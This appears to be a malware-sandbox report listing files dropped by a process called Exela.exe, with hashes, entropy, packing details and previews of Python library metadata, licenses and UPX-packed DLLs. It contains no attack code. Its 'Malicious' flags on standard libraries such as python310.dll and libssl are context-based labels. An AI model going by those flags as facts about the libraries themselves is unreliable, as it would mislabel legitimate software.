Preview:	attr/__init__.py,sha256=fOYIvt1eGSqQre4uCS3sJWKZ0mwAuC8UD6qba5OS9_U,2057..attr/__init__.pyi,sha256=QIXnnHPoucmDWkbpNsWTP-cgJ1bn8le7DjyRa_wYdew,11281..attr/__pycache__/__init__.cpython-310.pyc,,..attr/__pycache__/_cmp.cpython-310.pyc,,..attr/__pycache__/_compat.cpython-310.pyc,,..attr/__pycache__/_config.cpython-310.pyc,,..attr/__pycache__/_funcs.cpython-310.pyc,,..attr/__pycache__/_make.cpython-310.pyc,,..attr/__pycache__/_next_gen.cpython-310.pyc,,..attr/__pycache__/_version_info.cpython-310.pyc,,..attr/__pycache__/converters.cpython-310.pyc,,..attr/__pycache__/exceptions.cpython-310.pyc,,..attr/__pycache__/filters.cpython-310.pyc,,..attr/__pycache__/setters.cpython-310.pyc,,..attr/__pycache__/validators.cpython-310.pyc,,..attr/_cmp.py,sha256=3umHiBtgsEYtvNP_8XrQwTCdFoZIX4DEur76N-2a3X8,4123..attr/_cmp.pyi,sha256=U-_RU_UZOyPUEQzXE6RMYQQcjkZRY25wTH99sN0s7MM,368..attr/_compat.py,sha256=4hlXbWhdDjQCDK6FKF1EgnZ3POiHgtpp54qE0nxaGHg,2704..attr/_config.py,sha256=dGq3xR6fgZEF6UBt_L0T-eUHIB4i43

C:\Users\user\AppData\Local\Temp\_MEI70882\attrs-24.3.0.dist-info\WHEEL

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	87
Entropy (8bit):	4.730668933656452
Encrypted:	false
SSDEEP:	3:RtEeXAaCTShvxP+tPCCfA5I:Rt2PehvxWBB3
MD5:	E2FCB0AD9EA59332C808928B4B439E7A
SHA1:	07311208D4849F821E8AF25A89A9985C4503FBD8
SHA-256:	AAD0B0A12256807936D52D4A6F88A1773236AE527564A688BAB4E3FE780E8724
SHA-512:	D4CB3CA64D69678959C4F59B4D1CB992E8E2E046A6ACB92341FD30B8CE862BD81A48CBFA09EC9AE2E735FFEC5C12D246D1593A859615ADEE10984635A9BA8AF9
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: hatchling 1.27.0.Root-Is-Purelib: true.Tag: py3-none-any.

C:\Users\user\AppData\Local\Temp\_MEI70882\attrs-24.3.0.dist-info\licenses\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1109
Entropy (8bit):	5.104415762129373
Encrypted:	false
SSDEEP:	24:bGf8rUrmJHHH0yN3gtsHw1hC09QHOsUv4eOk4/+/m3oqLFh:bW8rUaJHlxE3dQHOs5exm3ogFh
MD5:	5E55731824CF9205CFABEAB9A0600887
SHA1:	243E9DD038D3D68C67D42C0C4BA80622C2A56246
SHA-256:	882115C95DFC2AF1EEB6714F8EC6D5CBCABF667CAFF8729F42420DA63F714E9F
SHA-512:	21B242BF6DCBAFA16336D77A40E69685D7E64A43CC30E13E484C72A93CD4496A7276E18137DC601B6A8C3C193CB775DB89853ECC6D6EB2956DEEE36826D5EBFE
Malicious:	false
Preview:	The MIT License (MIT)..Copyright (c) 2015 Hynek Schlawack and the attrs contributors..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHE

C:\Users\user\AppData\Local\Temp\_MEI70882\base_library.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	880537
Entropy (8bit):	5.683031237524772
Encrypted:	false
SSDEEP:	12288:lgYJu4KXWyBC6S4IEa8A4a2YSZdOVwx/fpEh+rtSLMN2:lgYJiVBFLa2LuVwx/fpEh++MN2
MD5:	9B62388394601020BD24FA9E7B4E9E0A
SHA1:	06023DAF857014770FF38D4EBBD600BA03109F28
SHA-256:	A6993DB44FDE43C8FDBF3512DB50060812924C95F6F60AEB80913380A0B4F3E1
SHA-512:	AC1BFEBB36D844A0C5909B34FC1100FF2D1F88A0B71A75AA27B4D2B281A90DCB05259B874E4FDB300572A0C029DB96E507B5CAEFDAF03CC32050DC2B728C654B
Malicious:	false
Preview:	PK..........!..^".5...5......._collections_abc.pyco....................................@.......d.Z.d.d.l.m.Z.m.Z...d.d.l.Z.e.e.e.....Z.e.d...Z.d.d...Z.e.e...Z.[.g.d...Z.d.Z.e.e.d.....Z.e.e.e.......Z.e.e.i.........Z.e.e.i.........Z.e.e.i.........Z.e.e.g.....Z.e.e.e.g.......Z.e.e.e.d.......Z.e.e.e.d.d.>.......Z.e.e.e.......Z.e.e.d.....Z e.e.d.....Z!e.e.e"......Z#e.i.......Z$e.i.......Z%e.i.......Z&e.e.j'..Z(e.d.d.......Z)d.d...Ze..Ze.e..Z+e.,....[d.d...Z-e-..Z-e.e-..Z.[-d.d...Z/G.d.d...d.e.d...Z0G.d.d...d.e.d...Z1G.d.d...d.e1..Z2e2.3e+....G.d.d...d.e.d...Z4G.d.d ..d e4..Z5G.d!d"..d"e5..Z6e6.3e.....G.d#d$..d$e.d...Z7G.d%d&..d&e7..Z8e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e ....e8.3e!....e8.3e#....G.d'd(..d(e7..Z9G.d)d..de8..Z:e:.3e)....G.d+d,..d,e.d...Z;G.d-d...d.e.d...Z<G.d/d0..d0e;e7e<..Z=G.d1d2..d2e...Z>d3d4..Z?d5d6..Z@d7d8..ZAG.d9d:..d:e.d...ZBG.d;d<..d<e=..ZCeC.3eD....G.d=d>..d>eC..ZEeE.3e.....G.d?d@..d@e=..ZFeF

C:\Users\user\AppData\Local\Temp\_MEI70882\cryptography-44.0.0.dist-info\INSTALLER

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI70882\cryptography-44.0.0.dist-info\METADATA

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5724
Entropy (8bit):	5.120429897887076
Encrypted:	false
SSDEEP:	96:DlkQIUQIhQIKQILbQIRIaMPktjaVMxsxA2ncEvGDfe0HEdwGArNZG0JQTQCQx5Kw:dcPuPwsrcEvGDfe0HENA5w0JQTQ9x59H
MD5:	526D9AC9D8150602EC9ED8B9F4DE7102
SHA1:	DBA2CB32C21C4B0F575E77BBCDD4FA468056F5E3
SHA-256:	D95F491ED418DC302DB03804DAF9335CE21B2DF4704587E6851EF03E1F84D895
SHA-512:	FB13A2F6B64CB7E380A69424D484FC9B8758FA316A7A155FF062BFDACDCA8F2C5D2A03898CD099688B1C16A5A0EDCECFC42BF0D4D330926B10C3FCE9F5238643
Malicious:	false
Preview:	Metadata-Version: 2.3.Name: cryptography.Version: 44.0.0.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: Apache Software License.Classifier: License :: OSI Approved :: BSD License.Classifier: Natural Language :: English.Classifier: Operating System :: MacOS :: MacOS X.Classifier: Operating System :: POSIX.Classifier: Operating System :: POSIX :: BSD.Classifier: Operating System :: POSIX :: Linux.Classifier: Operating System :: Microsoft :: Windows.Classifier: Programming Language :: Python.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3 :: Only.Classifier: Programming Language :: Python :: 3.7.Classifier: Programming Language :: Python :: 3.8.Classifier: Programming Language :: Python :: 3.9.Classifier: Programming Language :: Python :: 3.10.Classifier: Programming Language :: Python :: 3.11.Classifier: Programming Language :: Python :: 3.12.Classif

C:\Users\user\AppData\Local\Temp\_MEI70882\cryptography-44.0.0.dist-info\RECORD

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	16380
Entropy (8bit):	5.58935582120211
Encrypted:	false
SSDEEP:	192:hXr1We/l45jEVeK6tkhX/v4WJr6W51HepPNIq+NX6ih5VBUqw8q:hXzlMEVdX/9Jr6W51HepPN/+96ihI8q
MD5:	F15EF7175220C9F59F90BBBAEDA16DBD
SHA1:	5367CAC8814D7A54E1C0274FF3F651ED5C6FE5D6
SHA-256:	04DB3839C853D4164576122B7D5A2BAB186536DC8F9A4980385E11CF59946114
SHA-512:	BB0FA967E03D98B9611006DF2155BD8AD58A0E8B1A679D636B94CE931D316F18B61B801E018DECA90D8E5A35FA744AE8C9E1A36F25C791052008C43AF53A8117
Malicious:	false
Preview:	cryptography-44.0.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..cryptography-44.0.0.dist-info/METADATA,sha256=2V9JHtQY3DAtsDgE2vkzXOIbLfRwRYfmhR7wPh-E2JU,5724..cryptography-44.0.0.dist-info/RECORD,,..cryptography-44.0.0.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..cryptography-44.0.0.dist-info/WHEEL,sha256=Hn9bytZpOGoR6M4U5xUTHC1AJpPD9B1xPrM4STxljEU,94..cryptography-44.0.0.dist-info/licenses/LICENSE,sha256=Pgx8CRqUi4JTO6mP18u0BDLW8amsv4X1ki0vmak65rs,197..cryptography-44.0.0.dist-info/licenses/LICENSE.APACHE,sha256=qsc7MUj20dcRHbyjIJn2jSbGRMaBOuHk8F9leaomY_4,11360..cryptography-44.0.0.dist-info/licenses/LICENSE.BSD,sha256=YCxMdILeZHndLpeTzaJ15eY9dz2s0eymiSMqtwCPtPs,1532..cryptography/__about__.py,sha256=fcUqF1IcadxBSH0us1vCvob0OJOrPV3h30yZD8wsHo4,445..cryptography/__init__.py,sha256=XsRL_PxbU6UgoyoglAgJQSrJCP97ovBA8YIEQ2-uI68,762..cryptography/__pycache__/__about__.cpython-310.pyc,,..cryptography/__pycache__/__init__.cpython-310

C:\Users\user\AppData\Local\Temp\_MEI70882\cryptography-44.0.0.dist-info\WHEEL

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	94
Entropy (8bit):	5.0373614967294325
Encrypted:	false
SSDEEP:	3:RtEeX5pG6vhP+tkKciH/KQb:RtvoKWKTQb
MD5:	A868F93FCF51C4F1C25658D54F994349
SHA1:	535C88A10911673DEABB7889D365E81729E483A6
SHA-256:	1E7F5BCAD669386A11E8CE14E715131C2D402693C3F41D713EB338493C658C45
SHA-512:	EC13CAC9DF03676640EF5DA033E8C2FAEE63916F27CC27B9C43F0824B98AB4A6ECB4C8D7D039FA6674EF189BDD9265C8ED509C1D80DFF610AEB9E081093AEB3D
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: maturin (1.7.5).Root-Is-Purelib: false.Tag: cp39-abi3-win_amd64.

C:\Users\user\AppData\Local\Temp\_MEI70882\cryptography-44.0.0.dist-info\licenses\LICENSE

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	197
Entropy (8bit):	4.61968998873571
Encrypted:	false
SSDEEP:	3:hWDncJhByZmJgXPForADu1QjygQuaAJygT2d5GeWreLRuOFEXAYeBKmJozlMHuO:h9Co8FyQjkDYc5tWreLBF/pn2mH1
MD5:	8C3617DB4FB6FAE01F1D253AB91511E4
SHA1:	E442040C26CD76D1B946822CAF29011A51F75D6D
SHA-256:	3E0C7C091A948B82533BA98FD7CBB40432D6F1A9ACBF85F5922D2F99A93AE6BB
SHA-512:	77A1919E380730BCCE5B55D76FBFFBA2F95874254FAD955BD2FE1DE7FC0E4E25B5FDAAB0FEFFD6F230FA5DC895F593CF8BFEDF8FDC113EFBD8E22FADAB0B8998
Malicious:	false
Preview:	This software is made available under the terms of either of the licenses.found in LICENSE.APACHE or LICENSE.BSD. Contributions to cryptography are made.under the terms of both these licenses..

C:\Users\user\AppData\Local\Temp\_MEI70882\cryptography-44.0.0.dist-info\licenses\LICENSE.APACHE

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	11360
Entropy (8bit):	4.426756947907149
Encrypted:	false
SSDEEP:	192:nUDG5KXSD9VYUKhu1JVF9hFGvV/QiGkS594drFjuHYx5dvTrLh3kTSEnQHbHR:UIvlKM1zJlFvmNz5VrlkTS0QHt
MD5:	4E168CCE331E5C827D4C2B68A6200E1B
SHA1:	DE33EAD2BEE64352544CE0AA9E410C0C44FDF7D9
SHA-256:	AAC73B3148F6D1D7111DBCA32099F68D26C644C6813AE1E4F05F6579AA2663FE
SHA-512:	F451048E81A49FBFA11B49DE16FF46C52A8E3042D1BCC3A50AAF7712B097BED9AE9AED9149C21476C2A1E12F1583D4810A6D36569E993FE1AD3879942E5B0D52
Malicious:	false
Preview:	. Apache License. Version 2.0, January 2004. https://www.apache.org/licenses/.. TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION.. 1. Definitions... "License" shall mean the terms and conditions for use, reproduction,. and distribution as defined by Sections 1 through 9 of this document... "Licensor" shall mean the copyright owner or entity authorized by. the copyright owner that is granting the License... "Legal Entity" shall mean the union of the acting entity and all. other entities that control, are controlled by, or are under common. control with that entity. For the purposes of this definition,. "control" means (i) the power, direct or indirect, to cause the. direction or management of such entity, whether by contract or. otherwise, or (ii) ownership of fifty percent (50%) or more of the. outstanding shares, or (iii) beneficial ow

C:\Users\user\AppData\Local\Temp\_MEI70882\cryptography-44.0.0.dist-info\licenses\LICENSE.BSD

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1532
Entropy (8bit):	5.058591167088024
Encrypted:	false
SSDEEP:	24:MjUnoorbOFFTJJyRrYFTjzMbmqEvBTP4m96432s4EOkUTKQROJ32s3yxsITf+3tY:MkOFJSrYJsaN5P406432svv32s3EsIqm
MD5:	5AE30BA4123BC4F2FA49AA0B0DCE887B
SHA1:	EA5B412C09F3B29BA1D81A61B878C5C16FFE69D8
SHA-256:	602C4C7482DE6479DD2E9793CDA275E5E63D773DACD1ECA689232AB7008FB4FB
SHA-512:	DDBB20C80ADBC8F4118C10D3E116A5CD6536F72077C5916D87258E155BE561B89EB45C6341A1E856EC308B49A4CB4DBA1408EABD6A781FBE18D6C71C32B72C41
Malicious:	false
Preview:	Copyright (c) Individual contributors..All rights reserved...Redistribution and use in source and binary forms, with or without.modification, are permitted provided that the following conditions are met:.. 1. Redistributions of source code must retain the above copyright notice,. this list of conditions and the following disclaimer... 2. Redistributions in binary form must reproduce the above copyright. notice, this list of conditions and the following disclaimer in the. documentation and/or other materials provided with the distribution... 3. Neither the name of PyCA Cryptography nor the names of its contributors. may be used to endorse or promote products derived from this software. without specific prior written permission...THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND.ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED.WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOS

C:\Users\user\AppData\Local\Temp\_MEI70882\cryptography\hazmat\bindings\_rust.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2095616
Entropy (8bit):	7.999632528400969
Encrypted:	true
SSDEEP:	49152:ZyU0K1fB/DWgF/3hdf/+SOzv+KWi7E2OsnE0hupVpj9dburlI3zNlk6gl:MU08RW83zOnT+KWihOtlDwzl
MD5:	606A84AF5A9CF8AD3CB0314E77FB7209
SHA1:	6DE88D8554488FFE3E48C9B14886DA16D1703A69
SHA-256:	0693FFA4990FA8C1664485F3D2A41B581EAC0B340D07D62242052A67BF2ED5C3
SHA-512:	97D451F025AEFB487C5CEA568EB430356ADFE23908321F1C04F8FA4C03DF87507EDA8D9612C944BE4FA733DF4CEC38A0E37BFFD8865088064B749244D4321B1F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........Y.j...j...j....F..j.......j.......j.......j.......j.......j.......j...j...h.......i...j...j.......j.......j..Rich.j..........................PE..d....^Gg.........." ...*.........._......._...............................................`.............................................X.....................y................$...........................0...(......@...........................................UPX0......_.............................UPX1.........._.....................@...UPX2................................@..............................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI70882\frozenlist\_frozenlist.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	37376
Entropy (8bit):	7.820614402989937
Encrypted:	false
SSDEEP:	768:DR5NQnY+H236BVyqRLjqutCwYUw/8WM+6OxWF1pJ+:jNQRWKBcIqgpw/2+Ngz
MD5:	219AD30AEA7630A3696DF28231405927
SHA1:	EBAF69903305EA0803570CC2FF4CF43DD2BC812A
SHA-256:	06D38127DE4CBD3243F861EA22897D490520E913F77011A37D915C4992433604
SHA-512:	72EB7323DEB26931EA000690F85272EE71E19B2896AF2B43CCD8BCFC3A299E0F8A7A3F1E339FBFE7C855E081CD94E21AE09BA3B8E2D16DBACDDB838C31B4DE13
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......r.56..f6..f6..f?.Ef2..f&5.g4..f}..g4..f&5.g5..f&5.g>..f&5.g;..f...g5..f6..f...f}4.g7..f}4.g7..f}4)f7..f}4.g7..fRich6..f........PE..d...V..g.........." ...).........0.......@................................................`.............................................h....................p..\|.......................................................@...........................................UPX0.....0..............................UPX1.........@......................@....rsrc...............................@..............................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI70882\libcrypto-1_1.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1189728
Entropy (8bit):	7.945107908450931
Encrypted:	false
SSDEEP:	24576:LffQrZJIe6/4gho5HE1F03fkOyUU/BtSIgA0ft+rBFOWRIQ6sCY51CPwDv3uFfJv:rf8JWwgho5HL3fknPSIKorCU1CPwDv3a
MD5:	86CFC84F8407AB1BE6CC64A9702882EF
SHA1:	86F3C502ED64DF2A5E10B085103C2FFC9E3A4130
SHA-256:	11B89CC5531B2A6B89FBBB406EBE8FB01F0BF789E672131B0354E10F9E091307
SHA-512:	B33F59497127CB1B4C1781693380576187C562563A9E367CE8ABC14C97C51053A28AF559CDD8BD66181012083E562C8A8771E3D46ADEBA269A848153A8E9173C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........a...2...2...2...2...2..3...2..3...2..3...2..3...2...2...2L.3...2..3...2..3.2..3...2..p2...2..3...2Rich...2........................PE..d...m..b.........." ... .........@%.025..P%..................................P7...........`......................................... H5......C5.h....@5......`2.............H7......................................=5.@...........................................UPX0.....@%.............................UPX1.........P%.....................@....rsrc........@5.....................@..............................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI70882\libffi-7.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	24088
Entropy (8bit):	7.527291720504194
Encrypted:	false
SSDEEP:	384:9RZBxuj5W4IBzuU2CUvOEvba4Za7gJXkrZRCXEpnYPLxDG4y80uzFLhHj:fwlGuUm2Evb1p07pWDG4yKRF
MD5:	D50EBF567149EAD9D88933561CB87D09
SHA1:	171DF40E4187EBBFDF9AA1D76A33F769FB8A35ED
SHA-256:	6AA8E12CE7C8AD52DD2E3FABEB38A726447849669C084EA63D8E322A193033AF
SHA-512:	7BCC9D6D3A097333E1E4B2B23C81EA1B5DB7DBDC5D9D62EBAFFB0FDFB6CFE86161520AC14DC835D1939BE22B9F342531F48DA70F765A60B8E2C3D7B9983021DE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6.3.r}]Ar}]Ar}]A{..Ap}]A .\@p}]A..\@q}]Ar}\AU}]A .X@~}]A .Y@z}]A .^@q}]A..Y@t}]A..^@s}]A..]@s}]A.._@s}]ARichr}]A........................PE..d......].........." .....@................................................................`.........................................................................................................................................................................UPX0....................................UPX1.....@.......:..................@...UPX2.................>..............@......................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI70882\libssl-1_1.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	208224
Entropy (8bit):	7.9214932539909775
Encrypted:	false
SSDEEP:	3072:FSI3oPlWLlPVVc5MpJa1pOjJnnioIZW8/Qf6bRXGKrs8qJjueW1LR/oSB6hetz:AIek5VC0FiHof6Z1rgJ63R/oS3
MD5:	6CD33578BC5629930329CA3303F0FAE1
SHA1:	F2F8E3248A72F98D27F0CFA0010E32175A18487F
SHA-256:	4150EE603AD2DA7A6CB6A895CB5BD928E3A99AF7E73C604DE1FC224E0809FDB0
SHA-512:	C236A6CCC8577C85509D378C1EF014621CAB6F6F4AA26796FF32D8EEC8E98DED2E55D358A7D236594F7A48646DC2A6BF25B42A37AED549440D52873EBCA4713E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........D.p..p..p......p...+..p.\.+..p.../..p......p...)..p...+..p..p+.iq......p.....p.....p...(..p.Rich.p*.........PE..d......b.........." ... .....P...`..@....p................................................`..........................................6..4@...3.......0...........M...........v......................................@%..@...........................................UPX0.....`..............................UPX1.........p......................@....rsrc....P...0...H..................@..............................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI70882\multidict\_multidict.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	7.615547793921446
Encrypted:	false
SSDEEP:	384:3fCinCNIw61COjZ0FbIj/jvIUrn+HHRCkmJeZMF50aEB1lr9Za7gJXnkg8:3a1D6vjZd1SxCjeZM0TBhpXk
MD5:	7F691747CE66D3ED05A7C2C53220C8B5
SHA1:	1D3F247042030CF8CF7C859002941BEBA5D15776
SHA-256:	7D6472A0D7F1A0740C7FC0D0D0EA6F7C6E7CB2B11B8C623C46A6FAE1ADB4E228
SHA-512:	B01F0E91039FC5B2782CAAA0B3D56D5D1FE9E94424CC536CDE9ECA73A76747736060042E345AF9EDC5EF5BF5C154705D2C2DDDF35536F305306BE25A955A9F06
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........o.T.............v?............v........................&{................................S.............Rich............PE..d....\|.f.........." ...).P...................................................@............`.........................................@2..d....0..P....0.......................2.......................................&..@...........................................UPX0....................................UPX1.....P.......H..................@....rsrc........0.......L..............@..............................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI70882\propcache\_helpers_c.cp310-win_amd64.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	7.761950917364235
Encrypted:	false
SSDEEP:	768:q3eTOJK2AB2OTsRYYuE5lMbbaNX/H1jA2js+4up5w:q3GO3A5TyYbweaZ1G+4E
MD5:	9FE92ACAE9522CD0044146E1B57C23FA
SHA1:	EC8875039A387BB4AC302CD533B2FE27DBE75B43
SHA-256:	622077D084DB60B50C43A1923D60C02F1900FFFA3B5A11DFD34328E6FD341362
SHA-512:	CDF5DAE191F9B6C75D5698D49D1A55A00695AC896A0823357EA7BF3332683231CB10B1544EC12FAB5CF5A15117A92AF18E1266F29ED3D3CCBCB56FF46A421E88
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......V....f..f..f...]..f.....f.`...f.....f.....f.....f.....f..f..f.....f.....f...1..f.....f.Rich.f.................PE..d.....Lg.........." ...*............p.... ................................................`.........................................@...d......P............@..l...................................................p...@...........................................UPX0....................................UPX1......... ...v..................@....rsrc................z..............@......................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI70882\pyexpat.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	88440
Entropy (8bit):	7.916428215878346
Encrypted:	false
SSDEEP:	1536:FqOsxiaMRf0wQhTR0lJrTMQLFrwAx0qHMKVqhgjOE+hpeWpUM2MkNphoacI7QhgR:U8kmJfMQLFD+XWq+aDBplFkKI7QhgB0g
MD5:	46331749084F98BCFE8631D74C5E038F
SHA1:	5E5510F7A4D03F10D979E0D6A0D2A6F0E53CA347
SHA-256:	21CC4B9CCD69D08D7C1068B1F004AE9454F7EA0A322801860FAF0E6F4A24A3DF
SHA-512:	EDD39CE2D927FB6700A86DB07F4F56CAB897EF91A320F3E5ECB542EA1BE6888DD27A08008E5FA1DF3765B0C82D1046A23C8D59E76D11F4E6449D4D6826879589
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9h..}..}..}..tqu.q..2u....2u.p..2u.u..2u.~...u....{.~..}......u.y...u.\|...u..\|...u.\|..Rich}..................PE..d...+..c.........." ...". ........... .......................................@............`..........................................<..P....9.......0.......................<.......................................,..@...........................................UPX0....................................UPX1..... ..........................@....rsrc........0......."..............@......................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI70882\python3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	64896
Entropy (8bit):	6.101810529421494
Encrypted:	false
SSDEEP:	768:Y88LeBLeeFtp5V1BfO2yvSk70QZF1nEyjnskQkr/RFB1qucwdBeCw0myou6ZwJq9:Y8wewnvtjnsfwERI7Q0L7SyCPx
MD5:	C17B7A4B853827F538576F4C3521C653
SHA1:	6115047D02FBBAD4FF32AFB4EBD439F5D529485A
SHA-256:	D21E60F3DFBF2BAB0CC8A06656721FA3347F026DF10297674FC635EBF9559A68
SHA-512:	8E08E702D69DF6840781D174C4565E14A28022B40F650FDA88D60172BE2D4FFD96A3E9426D20718C54072CA0DA27E0455CC0394C098B75E062A27559234A3DF7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......]{....e...e...e..fm...e..fe...e..f....e..fg...e.Rich..e.........................PE..d......c.........." ..."..................................................................`.........................................`...`................................)..............T............................................................................rdata..............................@..@.rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI70882\python310.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\Exela.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1513336
Entropy (8bit):	7.991995760990047
Encrypted:	true
SSDEEP:	24576:omhx0O5yMVUEV51zVZ/7KqaI0jVSn/OCNYLfUehwHqDdt9OJzoCr2TAY/f+TNX59:omT0OjUK51xZ/7s6GDwKDD9OJEwsAE2V
MD5:	FC7BD515B12E537A39DC93A09B3EAAD6
SHA1:	96F5D4B0967372553CB106539C5566BC184F6167
SHA-256:	461E008B7CDF034F99A566671B87849772873A175AEFEC6ED00732976F5C4164
